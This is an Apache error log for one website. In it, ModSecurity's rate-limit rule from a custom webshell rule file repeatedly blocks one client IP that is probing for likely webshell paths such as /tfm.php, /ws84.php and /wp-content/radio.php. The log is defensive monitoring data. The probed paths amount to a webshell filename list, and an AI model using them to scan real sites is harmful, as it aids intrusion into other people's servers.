[Fri Mar 27 18:16:47.089325 2026] [proxy_fcgi:error] [pid 27749:tid 27792] [client 20.91.226.172:16910] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:16:47.358853 2026] [:error] [pid 27749:tid 27800] [client 20.91.226.172:16910] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "acZZD8EqyoMni2Q6_X7glQAAAEk"]
[Fri Mar 27 18:16:47.913267 2026] [:error] [pid 27851:tid 27877] [client 20.91.226.172:11679] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "acZZD3R2ccxe3RMCLbrV6wAAANM"]
[Fri Mar 27 18:16:48.442138 2026] [:error] [pid 27743:tid 27764] [client 20.91.226.172:26111] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "acZZECA46UYYLqzw99CtQgAAAAA"]
[Fri Mar 27 18:16:48.998124 2026] [:error] [pid 27851:tid 27866] [client 20.91.226.172:26877] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "acZZEHR2ccxe3RMCLbrV8QAAAMg"]
[Fri Mar 27 18:16:49.565893 2026] [:error] [pid 27743:tid 27765] [client 20.91.226.172:8136] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "acZZESA46UYYLqzw99CtTgAAAAE"]
[Fri Mar 27 18:16:50.099638 2026] [:error] [pid 4293:tid 4314] [client 20.91.226.172:16939] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "acZZEpLjeJUC3OKtEx826gAAAVM"]
[Fri Mar 27 18:16:50.634856 2026] [:error] [pid 4293:tid 4297] [client 20.91.226.172:16916] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "acZZEpLjeJUC3OKtEx828wAAAUI"]
[Fri Mar 27 18:16:51.187181 2026] [:error] [pid 27750:tid 27831] [client 20.91.226.172:17317] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "acZZE4aSil5rd17ieLzboAAAAI0"]
[Fri Mar 27 18:16:51.727420 2026] [:error] [pid 4293:tid 4319] [client 20.91.226.172:16911] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acZZE5LjeJUC3OKtEx82-wAAAVg"]
[Fri Mar 27 18:16:52.289893 2026] [:error] [pid 4341:tid 4343] [client 20.91.226.172:35993] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acZZFOKJWrNB5dMlERF4egAAAYA"]
[Fri Mar 27 18:16:52.816445 2026] [:error] [pid 4341:tid 4361] [client 20.91.226.172:17376] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acZZFOKJWrNB5dMlERF4gAAAAZI"]
[Fri Mar 27 18:16:53.356620 2026] [:error] [pid 4293:tid 4305] [client 20.91.226.172:2902] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acZZFZLjeJUC3OKtEx82_QAAAUo"]
[Fri Mar 27 18:16:53.921528 2026] [:error] [pid 4293:tid 4313] [client 20.91.226.172:15311] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "acZZFZLjeJUC3OKtEx83AgAAAVI"]
[Fri Mar 27 18:16:54.468443 2026] [:error] [pid 63897:tid 63923] [client 20.91.226.172:19536] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "acZZFmVSkmYmLu7ycYgvbQAAARg"]
[Fri Mar 27 18:16:55.021530 2026] [:error] [pid 4293:tid 4295] [client 20.91.226.172:11699] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "acZZF5LjeJUC3OKtEx83DQAAAUA"]
[Fri Mar 27 18:16:55.562623 2026] [:error] [pid 27851:tid 27879] [client 20.91.226.172:19560] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "acZZF3R2ccxe3RMCLbrWBgAAANU"]
[Fri Mar 27 18:16:56.101465 2026] [:error] [pid 27743:tid 27781] [client 20.91.226.172:22990] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "acZZGCA46UYYLqzw99CtWAAAABE"]
[Fri Mar 27 18:16:56.639950 2026] [:error] [pid 27743:tid 27769] [client 20.91.226.172:16931] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "acZZGCA46UYYLqzw99CtXgAAAAU"]
[Fri Mar 27 18:16:57.193451 2026] [:error] [pid 27743:tid 27779] [client 20.91.226.172:9128] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "acZZGSA46UYYLqzw99CtZgAAAA8"]
[Fri Mar 27 18:16:57.720927 2026] [:error] [pid 27743:tid 27784] [client 20.91.226.172:65138] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "acZZGSA46UYYLqzw99CtaQAAABQ"]
[Fri Mar 27 18:16:58.271289 2026] [:error] [pid 4341:tid 4360] [client 20.91.226.172:43243] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "acZZGuKJWrNB5dMlERF4jwAAAZE"]
[Fri Mar 27 18:16:58.837903 2026] [:error] [pid 4341:tid 4358] [client 20.91.226.172:17343] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "acZZGuKJWrNB5dMlERF4lAAAAY8"]
[Fri Mar 27 18:16:59.379775 2026] [:error] [pid 63897:tid 63923] [client 20.91.226.172:15587] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "acZZG2VSkmYmLu7ycYgvfQAAARg"]
[Fri Mar 27 18:16:59.922440 2026] [:error] [pid 27851:tid 27881] [client 20.91.226.172:2891] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "acZZG3R2ccxe3RMCLbrWCwAAANc"]
[Fri Mar 27 18:17:00.498184 2026] [:error] [pid 27851:tid 27878] [client 20.91.226.172:65091] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acZZHHR2ccxe3RMCLbrWDwAAANQ"]
[Fri Mar 27 18:17:01.052914 2026] [:error] [pid 4293:tid 4306] [client 20.91.226.172:2942] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acZZHZLjeJUC3OKtEx83KwAAAUs"]
[Fri Mar 27 18:17:01.618784 2026] [:error] [pid 27743:tid 27787] [client 20.91.226.172:17362] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acZZHSA46UYYLqzw99CtdwAAABc"]
[Fri Mar 27 18:17:02.184601 2026] [:error] [pid 27743:tid 27775] [client 20.91.226.172:26062] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acZZHiA46UYYLqzw99CtfQAAAAs"]
[Fri Mar 27 18:17:02.785727 2026] [:error] [pid 27750:tid 27820] [client 20.91.226.172:65117] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "acZZHoaSil5rd17ieLzbsgAAAII"]
[Fri Mar 27 18:17:03.348912 2026] [:error] [pid 27743:tid 27788] [client 20.91.226.172:15790] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "acZZHyA46UYYLqzw99CthwAAABg"]
[Fri Mar 27 18:17:03.910310 2026] [:error] [pid 27743:tid 27785] [client 20.91.226.172:65092] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "acZZHyA46UYYLqzw99CtjgAAABU"]
[Fri Mar 27 18:17:04.506004 2026] [:error] [pid 4341:tid 4359] [client 20.91.226.172:26073] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "acZZIOKJWrNB5dMlERF4mQAAAZA"]
[Fri Mar 27 18:17:05.082895 2026] [:error] [pid 27750:tid 27832] [client 20.91.226.172:35061] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "acZZIYaSil5rd17ieLzbtgAAAI4"]
[Fri Mar 27 18:17:05.608114 2026] [:error] [pid 63897:tid 63907] [client 20.91.226.172:26064] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "acZZIWVSkmYmLu7ycYgviAAAAQg"]
[Fri Mar 27 18:17:06.170916 2026] [:error] [pid 4341:tid 4349] [client 20.91.226.172:2719] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "acZZIuKJWrNB5dMlERF4pAAAAYY"]
[Fri Mar 27 18:17:06.723164 2026] [:error] [pid 4341:tid 4360] [client 20.91.226.172:2057] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "acZZIuKJWrNB5dMlERF4qQAAAZE"]
[Fri Mar 27 18:17:07.273053 2026] [:error] [pid 27743:tid 27776] [client 20.91.226.172:65126] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hots.php"] [unique_id "acZZIyA46UYYLqzw99CtogAAAAw"]
[Fri Mar 27 18:17:07.822473 2026] [:error] [pid 27750:tid 27838] [client 20.91.226.172:17367] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hots.php"] [unique_id "acZZI4aSil5rd17ieLzbuwAAAJQ"]
[Fri Mar 27 18:17:08.379601 2026] [:error] [pid 27851:tid 27882] [client 20.91.226.172:8175] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hots.php"] [unique_id "acZZJHR2ccxe3RMCLbrWEQAAANg"]
[Fri Mar 27 18:17:08.934588 2026] [:error] [pid 4293:tid 4312] [client 20.91.226.172:17341] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hots.php"] [unique_id "acZZJJLjeJUC3OKtEx83MwAAAVE"]
[Fri Mar 27 18:17:09.490052 2026] [:error] [pid 27750:tid 27823] [client 20.91.226.172:35022] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin-footer.php"] [unique_id "acZZJYaSil5rd17ieLzbxAAAAIU"]
[Fri Mar 27 18:17:10.028143 2026] [:error] [pid 63897:tid 63923] [client 20.91.226.172:17331] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin-footer.php"] [unique_id "acZZJmVSkmYmLu7ycYgvkQAAARg"]
[Fri Mar 27 18:17:10.554703 2026] [:error] [pid 4293:tid 4304] [client 20.91.226.172:9146] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin-footer.php"] [unique_id "acZZJpLjeJUC3OKtEx83QQAAAUk"]
[Fri Mar 27 18:17:11.096656 2026] [:error] [pid 27743:tid 27776] [client 20.91.226.172:43222] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin-footer.php"] [unique_id "acZZJyA46UYYLqzw99CtqQAAAAw"]
[Fri Mar 27 18:17:11.625708 2026] [:error] [pid 4341:tid 4359] [client 20.91.226.172:16953] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "acZZJ-KJWrNB5dMlERF4tAAAAZA"]
[Fri Mar 27 18:17:12.167034 2026] [:error] [pid 27851:tid 27870] [client 20.91.226.172:8138] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "acZZKHR2ccxe3RMCLbrWFgAAAMw"]
[Fri Mar 27 18:17:12.714961 2026] [:error] [pid 4341:tid 4351] [client 20.91.226.172:17285] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "acZZKOKJWrNB5dMlERF4uQAAAYg"]
[Fri Mar 27 18:17:13.262019 2026] [:error] [pid 27750:tid 27838] [client 20.91.226.172:22984] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "acZZKYaSil5rd17ieLzbzgAAAJQ"]
[Fri Mar 27 18:17:13.791057 2026] [:error] [pid 4293:tid 4314] [client 20.91.226.172:35062] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "acZZKZLjeJUC3OKtEx83SAAAAVM"]
[Fri Mar 27 18:17:14.344985 2026] [:error] [pid 63897:tid 63914] [client 20.91.226.172:43246] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "acZZKmVSkmYmLu7ycYgvmwAAAQ8"]
[Fri Mar 27 18:17:14.887369 2026] [:error] [pid 27743:tid 27780] [client 20.91.226.172:19480] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "acZZKiA46UYYLqzw99CtuAAAABA"]
[Fri Mar 27 18:17:15.434968 2026] [:error] [pid 27743:tid 27779] [client 20.91.226.172:26104] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "acZZKyA46UYYLqzw99CtvgAAAA8"]
[Fri Mar 27 18:17:15.998690 2026] [:error] [pid 27743:tid 27772] [client 20.91.226.172:43211] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "acZZKyA46UYYLqzw99CtxAAAAAg"]
[Fri Mar 27 18:17:16.551985 2026] [:error] [pid 27851:tid 27880] [client 20.91.226.172:2726] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "acZZLHR2ccxe3RMCLbrWHgAAANY"]
[Fri Mar 27 18:17:17.093929 2026] [:error] [pid 27851:tid 27871] [client 20.91.226.172:65133] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "acZZLXR2ccxe3RMCLbrWIgAAAM0"]
[Fri Mar 27 18:17:17.634000 2026] [:error] [pid 63897:tid 63907] [client 20.91.226.172:11694] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "acZZLWVSkmYmLu7ycYgvngAAAQg"]
